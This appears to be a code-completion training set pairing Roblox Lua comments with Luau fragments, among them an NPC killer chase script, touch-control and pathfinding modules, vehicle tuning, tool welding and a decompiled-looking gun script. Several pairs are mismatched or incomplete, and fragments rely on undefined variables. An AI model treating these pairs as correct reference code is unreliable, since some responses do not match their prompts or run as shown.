Prompt:
--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Thumbnail")then]]--
--[[JeffTheKiller:FindFirstChild("Thumbnail"):Destroy();]]--
--[[end;]]

Response:
--
local JeffTheKillerHumanoid;
for _,Child in pairs(JeffTheKiller:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
JeffTheKillerHumanoid=Child;
end;
end;
local AttackDebounce=false;
local JeffTheKillerKnife=JeffTheKiller:FindFirstChild("Knife");
local JeffTheKillerHead=JeffTheKiller:FindFirstChild("Head");
local JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild("HumanoidRootPart");
local WalkDebounce=false;
local Notice=false;
local JeffLaughDebounce=false;
local MusicDebounce=false;
local NoticeDebounce=false;
local ChosenMusic;
function FindNearestBae()
local NoticeDistance=30;
local TargetMain;
for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className=="Model"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild("HumanoidRootPart")and TargetModel:FindFirstChild("Head")then
local TargetPart=TargetModel:FindFirstChild("HumanoidRootPart");
local FoundHumanoid;
for _,Child in pairs(TargetModel:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<NoticeDistance then
TargetMain=TargetPart;
NoticeDistance=(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude;
local hit,pos=raycast(JeffTheKillerHumanoidRootPart.Position,(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).unit,500)
if hit and hit.Parent and hit.Parent.ClassName=="Model"and hit.Parent:FindFirstChild("HumanoidRootPart")and hit.Parent:FindFirstChild("Head")then
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<9 and not AttackDebounce then
Spawn(function()
AttackDebounce=true;
local SwingAnimation=JeffTheKillerHumanoid:LoadAnimation(JeffTheKiller:FindFirstChild("Swing"));
local SwingChoice=math.random(1,2);
local HitChoice=math.random(1,3);
SwingAnimation:Play();
SwingAnimation:AdjustSpeed(1.5+(math.random()*0.1));
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Swing")then
local SwingSound=JeffTheKillerKnife:FindFirstChild("Swing");
SwingSound.Pitch=1+(math.random()*0.04);
SwingSound:Play();
end;
Wait(0.3);
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<8 then
FoundHumanoid:TakeDamage(10000000000000000000000000000);
if HitChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit1")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit1");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
elseif HitChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit2")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit2");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
elseif HitChoice==3 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit3")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit3");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
end;
end;
Wait(0.1);
AttackDebounce=false;
end);
end;
end;
end;
end;
end;
return TargetMain;
end;
while Wait(0)do
local TargetPoint=JeffTheKillerHumanoid.TargetPoint;
local Blockage,BlockagePos=RayCast((JeffTheKillerHumanoidRootPart.CFrame+CFrame.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(TargetPoint.X,JeffTheKillerHumanoidRootPart.Position.Y,TargetPoint.Z)).lookVector*(JeffTheKillerHumanoidRootPart.Size.Z/2)).p,JeffTheKillerHumanoidRootPart.CFrame.lookVector,(JeffTheKillerHumanoidRootPart.Size.Z*2.5),{JeffTheKiller,JeffTheKiller})
local Jumpable=false;
if Blockage then
Jumpable=true;
if Blockage and Blockage.Parent and Blockage.Parent.ClassName~="Workspace"then
local BlockageHumanoid;
for _,Child in pairs(Blockage.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
BlockageHumanoid=Child;
end;
end;
if Blockage and Blockage:IsA("Terrain")then
local CellPos=Blockage:WorldToCellPreferSolid((BlockagePos-Vector3.new(0,2,0)));
local CellMaterial,CellShape,CellOrientation=Blockage:GetCell(CellPos.X,CellPos.Y,CellPos.Z);
if CellMaterial==Enum.CellMaterial.Water then
Jumpable=false;
end;
elseif BlockageHumanoid or Blockage.ClassName=="TrussPart"or Blockage.ClassName=="WedgePart"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Hat"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Tool"then
Jumpable=false;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and not JeffTheKillerHumanoid.Sit and Jumpable then
JeffTheKillerHumanoid.Jump=true;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHumanoidRootPart and JeffTheKillerHead:FindFirstChild("Jeff_Step")and (JeffTheKillerHumanoidRootPart.Velocity-Vector3.new(0,JeffTheKillerHumanoidRootPart.Velocity.y,0)).magnitude>=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
Spawn(function()
WalkDebounce=true;
local FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0));
local RayTarget,endPoint=Game:GetService("Workspace"):FindPartOnRay(FiredRay,JeffTheKiller);
if RayTarget then
local JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild("Jeff_Step"):Clone();
JeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead;
JeffTheKillerHeadFootStepClone:Play();
JeffTheKillerHeadFootStepClone:Destroy();
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<17 then
Wait(0.5);
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>17 then
Wait(0.2);
end
end;
WalkDebounce=false;
end);
end;
local MainTarget=FindNearestBae();
local FoundHumanoid;
if MainTarget then
for _,Child in pairs(MainTarget.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then
JeffTheKillerHumanoid.Jump=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and not JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=1;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then
if not JeffLaughDebounce then
Spawn(function()
JeffLaughDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop();
JeffLaughDebounce=false;
end);
end;
end;
end;
if not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then
local MusicChoice=math.random(1,2);
if MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1")then
ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1");
elseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2")then
ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2");
end;
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then
ChosenMusic.Volume=0.5;
ChosenMusic:Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then
if not MusicDebounce then
Spawn(function()
MusicDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
end;
end;
if not MainTarget and not JeffLaughDebounce then
Spawn(function()
JeffLaughDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop();
JeffLaughDebounce=false;
end);
end;
if not MainTarget and not MusicDebounce then
Spawn(function()
MusicDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
if MainTarget then
Notice=true;
if Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Susto2")then
JeffTheKillerHead:FindFirstChild("Jeff_Susto2"):Play();
NoticeDebounce=true;
end
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
if MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then
JeffTheKillerHumanoid.WalkSpeed=25;
elseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then
JeffTheKillerHumanoid.WalkSpeed=0.004;
end;
JeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService("Workspace"):FindFirstChild("Terrain"));
end;
else
Notice=false;
NoticeDebounce=false;
local RandomWalk=math.random(1,150);
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
JeffTheKillerHumanoid.WalkSpeed=12;
if RandomWalk==1 then
JeffTheKillerHumanoid:MoveTo(Game:GetService("Workspace"):FindFirstChild("Terrain").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService("Workspace"):FindFirstChild("Terrain"));
end;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then
JeffTheKillerHumanoid.DisplayDistanceType="None";
JeffTheKillerHumanoid.HealthDisplayDistance=0;
JeffTheKillerHumanoid.Name="ColdBloodedKiller";
JeffTheKillerHumanoid.NameDisplayDistance=0;
JeffTheKillerHumanoid.NameOcclusion="EnemyOcclusion";
JeffTheKillerHumanoid.AutoJumpEnabled=true;
JeffTheKillerHumanoid.AutoRotate=true;
JeffTheKillerHumanoid.MaxHealth=9000;
JeffTheKillerHumanoid.JumpPower=60;
JeffTheKillerHumanoid.MaxSlopeAngle=89.9;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then
JeffTheKillerHumanoid.AutoJumpEnabled=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then
JeffTheKillerHumanoid.AutoRotate=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then
JeffTheKillerHumanoid.PlatformStand=false;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then
JeffTheKillerHumanoid.Sit=false;
end;
end;


Prompt:
-- Called when any relevant values of GameSettings or LocalPlayer change, forcing re-evalulation of
-- current control scheme

Response:
function ControlModule:OnComputerMovementModeChange()
	local controlModule, success =  self:SelectComputerMovementModule()
	if success then
		self:SwitchToController(controlModule)
	end
end

function ControlModule:OnTouchMovementModeChange()
	local touchModule, success = self:SelectTouchModule()
	if success then
		while not self.touchControlFrame do
			wait()
		end
		self:SwitchToController(touchModule)
	end
end

function ControlModule:CreateTouchGuiContainer()
	if self.touchGui then self.touchGui:Destroy() end

	-- Container for all touch device guis
	self.touchGui = Instance.new("ScreenGui")
	self.touchGui.Name = "TouchGui"
	self.touchGui.ResetOnSpawn = false
	self.touchGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
	self:UpdateTouchGuiVisibility()

	if FFlagUserDynamicThumbstickSafeAreaUpdate then
		self.touchGui.ClipToDeviceSafeArea = false;
	end

	self.touchControlFrame = Instance.new("Frame")
	self.touchControlFrame.Name = "TouchControlFrame"
	self.touchControlFrame.Size = UDim2.new(1, 0, 1, 0)
	self.touchControlFrame.BackgroundTransparency = 1
	self.touchControlFrame.Parent = self.touchGui

	self.touchGui.Parent = self.playerGui
end

function ControlModule:GetClickToMoveController()
	if not self.controllers[ClickToMove] then
		self.controllers[ClickToMove] = ClickToMove.new(CONTROL_ACTION_PRIORITY)
	end
	return self.controllers[ClickToMove]
end

return ControlModule.new()


Prompt:
-- simple if statements, decides where the Tool will spawn
-- depending on the generated number.

Response:
if BlockPosition == 1 then
	Block.CFrame = Pos1
end

if BlockPosition == 2 then
	Block.CFrame = Pos2
end

if BlockPosition == 3 then
	Block.CFrame = Pos3
end


Response:
local currentPlaying
localAnimationPlayer = game:GetService("ReplicatedStorage").AnimationManager.LocalScriptAPI

for i,v in pairs(script.Parent:GetChildren()) do
	if v:IsA("TextButton") and v.Name ~= "Cancel" then
		v.AnimRef.Value = game:GetService("ReplicatedStorage").FemaleAnimations:FindFirstChild(v.Name)
	end
end

function FindAnimRef(parent)
	local childs = parent:GetChildren()
	for i, v in pairs(childs) do
		if v:IsA("ObjectValue") then
			return v.Value
		end
	end
end

for i, v in pairs(script.Parent:GetChildren()) do
	if v:IsA("TextButton") then
		v.MouseButton1Click:Connect(function()
			local char = game.Players.LocalPlayer.Character
			if char.Humanoid.Health > 1 then
				if currentPlaying == v then
					localAnimationPlayer.StopAnimationOnHumanoid:FireServer(char.Humanoid)
					currentPlaying = nil
				else
					local animation = FindAnimRef(v)
					if animation then
						localAnimationPlayer.PlayAnimation:InvokeServer(animation, game.Players.LocalPlayer.Character)
						currentPlaying = v
					end
				end
			end
		end)
	end
end


Prompt: --Turbocharger

Response:
local BOV_Loudness = 1	--volume of the BOV (not exact volume so you kinda have to experiment with it)
local BOV_Pitch = 0.9	--max pitch of the BOV (not exact so might have to mess with it)


Prompt:
--[[
	Yield until the promise is completed.
	This matches the execution model of normal Roblox functions.
]]

Response:
function Promise.prototype:await()
	self._unhandledRejection = false

	if self._status == Promise.Status.Started then
		local result
		local resultLength
		local bindable = Instance.new("BindableEvent")

		self:andThen(
			function(...)
				resultLength, result = pack(...)
				bindable:Fire(true)
			end,
			function(...)
				resultLength, result = pack(...)
				bindable:Fire(false)
			end
		)

		local ok = bindable.Event:Wait()
		bindable:Destroy()

		return ok, unpack(result, 1, resultLength)
	elseif self._status == Promise.Status.Resolved then
		return true, unpack(self._values, 1, self._valuesLength)
	elseif self._status == Promise.Status.Rejected then
		return false, unpack(self._values, 1, self._valuesLength)
	end
end


Prompt: --[[ CONSTRUCTOR ]]

Response:
--
function Path.new(agent, agentParameters, override)
	if not (agent and agent:IsA("Model") and agent.PrimaryPart) then
		output(error, "Pathfinding agent must be a valid Model Instance with a set PrimaryPart.")
	end

	local self = setmetatable({
		_settings = override or DEFAULT_SETTINGS;
		_events = {
			Reached = Instance.new("BindableEvent");
			WaypointReached = Instance.new("BindableEvent");
			Blocked = Instance.new("BindableEvent");
			Error = Instance.new("BindableEvent");
			Stopped = Instance.new("BindableEvent");
		};
		_agent = agent;
		_humanoid = agent:FindFirstChildOfClass("Humanoid");
		_path = PathfindingService:CreatePath(agentParameters);
		_status = "Idle";
		_t = 0;
		_position = {
			_last = Vector3.new();
			_count = 0;
		};
	}, Path)

	--Configure settings
	for setting, value in pairs(DEFAULT_SETTINGS) do
		self._settings[setting] = self._settings[setting] == nil and value or self._settings[setting]
	end

	--Path blocked connection
	self._path.Blocked:Connect(function(...)
		if (self._currentWaypoint <= ... and self._currentWaypoint + 1 >= ...) and self._humanoid then
			setJumpState(self)
			self._events.Blocked:Fire(self._agent, self._waypoints[...])
		end
	end)

	return self
end


Prompt: --Engine--

Response:
script.Parent.Parent.Values.RPM.Changed:connect(function()
local HP = StockHP
local Horsepower = _Tune.Horsepower
local Boost = (((totalPSI/2)*WasteGatePressure)*(CompressionRatio/10)*TurboCount)
local B2 = (Boost)/7.5
local B3 = HP*B2
local B4 = B3/2

_Tune.Horsepower = (HP) + (B4)

end)


Prompt: -- --Remove the double brackets around this part to rename and unanchor everything --

Response:
for i = 1, #c do
	if c[i].className == "Part" then
		c[i].Anchored = false;
		if c[i].Name ~= "Handle" then
			c[i].Name = "H" .. a;
			a = a + 1;
		end
	end
end

if hand == nil then
	print("Handle not Found! Try again!")
	script.Disabled = true;
	script:Remove()
end

local s = script.WeldScript:Clone();
s.Disabled = false;

for i = 1, #c do
	if c[i].className == "Part" and c[i] ~= hand and c[i].Anchored == false then
		table.insert(parts, c[i])
	end
end

for i = 1, #parts do
	local c0 = hand.CFrame:inverse()
	local c1 = parts[i].CFrame:inverse()
	local val1 = Instance.new("CFrameValue")
	val1.Name = parts[i].Name .. "C0"
	val1.Value = c0
	val1.Parent = s
	local val2 = Instance.new("CFrameValue")
	val2.Name = parts[i].Name .. "C1"
	val2.Value = c1
	val2.Parent = s
	local w = Instance.new("Weld")
	w.Parent = hand
	w.Part0 = hand
	w.Part1 = parts[i]
	w.C0 = c0
	w.C1 = c1
end

s.Parent = tool

script:Remove()


Prompt: -- Right Arm

Response:
		character:FindFirstChild("LeftUpperArm").LocalTransparencyModifier = 0

		character:FindFirstChild("LeftLowerArm").LocalTransparencyModifier = 0

		character:FindFirstChild("LeftHand").LocalTransparencyModifier = 0


Prompt: --// Tables

Response:
local L_45_ = {

	"1565831468";
	"1565832329";

}

local L_46_ = {

	"1565831129";
	"1565830611";

}

local L_47_ = {

	"1565825075";
	"1565824613";

}

local L_48_ = {

	"1565821941";
	"1565821634";

}

local L_49_ = {

	"1565756818";
	"1565756607";

}

local L_50_ = {

	"1565717027";
	"1565716705";

}

local L_51_ = {

	1565703226;
	1565675605;

}


Prompt: --// Walk and Sway

Response:
local L_133_

local L_134_ = 0.6
local L_135_ = 0.05 -- speed
local L_136_ = -0.1 -- height

local L_137_ = 0
local L_138_ = 0
local L_139_ = 35 --This is the limit of the mouse input for the sway
local L_140_ = -9 --This is the magnitude of the sway when you're unaimed
local L_141_ = -9 --This is the magnitude of the sway when you're aimed


Prompt: -- Create an Attachment in the terrain so the AlignOrientation is world realtive

Response:
local worldAttachment = Instance.new("Attachment")
worldAttachment.Name = "SoldierWorldAttachment"
worldAttachment.Parent = Workspace.Terrain

maid.worldAttachment = worldAttachment
maid.humanoidRootPart.AlignOrientation.Attachment1 = worldAttachment


Prompt: -- (Hat Giver Script - Loaded.)

Response:
debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
		debounce = false
		h = Instance.new("Hat")
		p = Instance.new("Part")
		h.Name = "Top Hat"
		p.Parent = h
		p.Position = hit.Parent:findFirstChild("Head").Position
		p.Name = "Handle"
		p.formFactor = 0
		p.Size = Vector3.new(2, 1, 1)
		p.BottomSurface = 0
		p.TopSurface = 0
		p.Locked = true
		script.Parent.Mesh:clone().Parent = p
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0, -0.25, 0)
		wait(5)
		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)


Prompt:
-- If you want to change the hat that you are trying on, change the "Mesh" Just delete the one in the brick that this script is in,
-- and copy a mesh from a different hat, that you want to try on with this script.


Prompt: -- Hook up event listener

Response:
Cmdr.RemoteEvent.OnClientEvent:Connect(function(name, ...)
	if Cmdr.Events[name] then
		Cmdr.Events[name](...)
	end
end)

require(script.DefaultEventHandlers)(Cmdr)

return Cmdr


Prompt: -- Make the AnimBase

Response:
	L_18_ = Instance.new("Part", L_3_)
	L_18_.FormFactor = "Custom"
	L_18_.CanCollide = false
	L_18_.Transparency = 1
	L_18_.Anchored = false
	L_18_.Name = "AnimBase"

	L_19_ = Instance.new("Motor6D")
	L_19_.Part0 = L_18_
	L_19_.Part1 = L_58_
	L_19_.Parent = L_18_
	L_19_.Name = "AnimBaseW"
	--AnimBaseW.C1 = gunSettings.StartPose

	L_15_ = Instance.new("Motor6D")
	L_15_.Part0 = L_3_['Right Arm']
	L_15_.Part1 = L_1_:FindFirstChild('Grip')
	L_15_.Parent = L_3_['Right Arm']
	L_15_.C1 = L_12_.GunPos
	L_15_.Name = "Grip"

	for L_60_forvar1, L_61_forvar2 in pairs(L_1_:GetChildren()) do
		if L_61_forvar2:IsA("Part") or L_61_forvar2:IsA("MeshPart") or L_61_forvar2:IsA("UnionOperation") then
			L_61_forvar2.Anchored = true

			if L_61_forvar2.Name ~= "Grip" and L_61_forvar2.Name ~= "Bolt" and L_61_forvar2.Name ~= 'Lid' then
				Weld(L_61_forvar2, L_1_:WaitForChild("Grip"))
			end

			if L_61_forvar2.Name == "Bolt" then
				if L_1_:FindFirstChild('BoltHinge') then
					Weld(L_61_forvar2, L_1_:WaitForChild("BoltHinge"))
				else
					Weld(L_61_forvar2, L_1_:WaitForChild("Grip"))
				end
			end;

			if L_61_forvar2.Name == "Lid" then
				if L_1_:FindFirstChild('LidHinge') then
					Weld(L_61_forvar2, L_1_:WaitForChild("LidHinge"))
				else
					Weld(L_61_forvar2, L_1_:WaitForChild("Grip"))
				end
			end
		end
	end

	for L_62_forvar1, L_63_forvar2 in pairs(L_13_:GetChildren()) do
		if L_63_forvar2:IsA('Part') then
			Weld(L_63_forvar2, L_1_:WaitForChild("Grip"))
		end
	end

	for L_64_forvar1, L_65_forvar2 in pairs(L_13_:GetChildren()) do
		if L_65_forvar2:IsA('Part') then
			L_65_forvar2.Anchored = false
		end
	end

	for L_66_forvar1, L_67_forvar2 in pairs(L_1_:GetChildren()) do
		if L_67_forvar2:IsA("Part") or L_67_forvar2:IsA("MeshPart") or L_67_forvar2:IsA("UnionOperation") then
			L_67_forvar2.Anchored = false
		end
	end

	L_20_ = L_3_['Right Arm']
	L_21_ = L_3_['Left Arm']
	L_24_ = L_3_.Torso:WaitForChild("Right Shoulder")
	L_25_ = L_3_.Torso:WaitForChild("Left Shoulder")

	L_22_ = Instance.new("Motor6D")
	L_22_.Name = "RAW"
	L_22_.Part0 = L_18_
	L_22_.Part1 = L_20_
	L_22_.Parent = L_18_
	L_22_.C1 = L_12_.RightArmPos
	L_3_.Torso:WaitForChild("Right Shoulder").Part1 = nil

	L_23_ = Instance.new("Motor6D")
	L_23_.Name = "LAW"
	L_23_.Part0 = L_18_
	L_23_.Part1 = L_21_
	L_23_.Parent = L_18_
	L_23_.C1 = L_12_.LeftArmPos
	L_3_.Torso:WaitForChild("Left Shoulder").Part1 = nil

	L_14_ = L_8_:WaitForChild('MainGui'):clone()
	L_14_.Parent = L_2_.PlayerGui

	L_27_ = L_58_:FindFirstChild('AHH') or L_6_:WaitForChild('AHH'):clone()
	L_27_.Parent = L_3_.Head

	if L_32_ then
		L_32_:Destroy()
	end

	L_33_:FireClient(L_2_, true, L_15_, L_18_, L_19_, L_22_, L_23_, L_17_)
end)

L_1_.Unequipped:connect(function()
	L_15_:Destroy()
	local L_68_ = L_3_:FindFirstChild('Torso')
	local L_69_ = L_3_:FindFirstChild('Head')
	L_32_ = Instance.new('Model', L_3_)
	L_32_.Name = "HolsterModel"

	for L_70_forvar1, L_71_forvar2 in pairs(L_1_:GetChildren()) do
		for L_72_forvar1, L_73_forvar2 in pairs(L_71_forvar2:GetChildren()) do
			if L_73_forvar2.ClassName == "Motor6D" then
				L_73_forvar2:Destroy()
			end
		end
	end

	for L_74_forvar1, L_75_forvar2 in pairs(L_1_:GetChildren()) do
		if L_75_forvar2:IsA("Part") or L_75_forvar2:IsA("MeshPart") or L_75_forvar2:IsA("UnionOperation") then
			L_75_forvar2.Anchored = true
		end
	end

	if L_3_.Humanoid and L_3_.Humanoid.Health > 0 then
		L_3_.HumanoidRootPart.RootJoint.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
		L_68_['Right Hip'].C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)
		L_68_['Left Hip'].C0 = CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
		L_17_.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)

		L_3_.HumanoidRootPart.RootJoint.C1 = CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
		L_68_['Right Hip'].C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
		L_68_['Left Hip'].C1 = CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
		L_17_.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
	end

	L_68_:WaitForChild("Neck").Part1 = L_69_
	L_68_:WaitForChild("Neck").C1 = L_68_:WaitForChild("Neck").C1
	L_68_:WaitForChild("Neck").C0 = L_68_:WaitForChild("Neck").C0

	L_18_:Destroy()
	L_17_:Destroy()
	L_24_.Part1 = L_20_
	L_25_.Part1 = L_21_

	if L_69_:FindFirstChild('AHH') then
		L_69_.AHH:Destroy()
	end

	L_33_:FireClient(L_2_, false)

	if L_12_.HolsteringEnabled then
		for L_77_forvar1, L_78_forvar2 in pairs(L_1_:GetChildren()) do
			if L_78_forvar2:IsA("Part") or L_78_forvar2:IsA("MeshPart") or L_78_forvar2:IsA("UnionOperation") then
				L_78_forvar2.Anchored = true
				local L_79_ = L_78_forvar2:clone()
				L_79_.Parent = L_32_
			end
		end;

		for L_80_forvar1, L_81_forvar2 in pairs(L_32_:GetChildren()) do
			Weld(L_81_forvar2, L_32_:WaitForChild("Grip"))
		end

		local L_76_ = Weld(L_32_:WaitForChild("Grip"), L_3_:WaitForChild('Torso'))
		L_76_.Name = "TWeld"
		L_76_.C1 = L_12_.HolsterPos

		for L_82_forvar1, L_83_forvar2 in pairs(L_32_:GetChildren()) do
			L_83_forvar2.Anchored = false
		end
	end
end)

L_3_.Humanoid.Died:connect(function()
	L_33_:FireClient(L_2_, false)
end)


Prompt: --Set target angular velocity for all 4 wheels.

Response:
function Chassis.SetMotorVelocity(vel)
	for _, motor in pairs(Motors) do
		motor.AngularVelocity = vel
	end
end


Prompt:
--local LazerSound = WaitForChild(Handle,'Lazer')
--[[Script Variables]]


Prompt: --[[ Last synced 12/13/2020 04:03 || RoSync Loader ]]

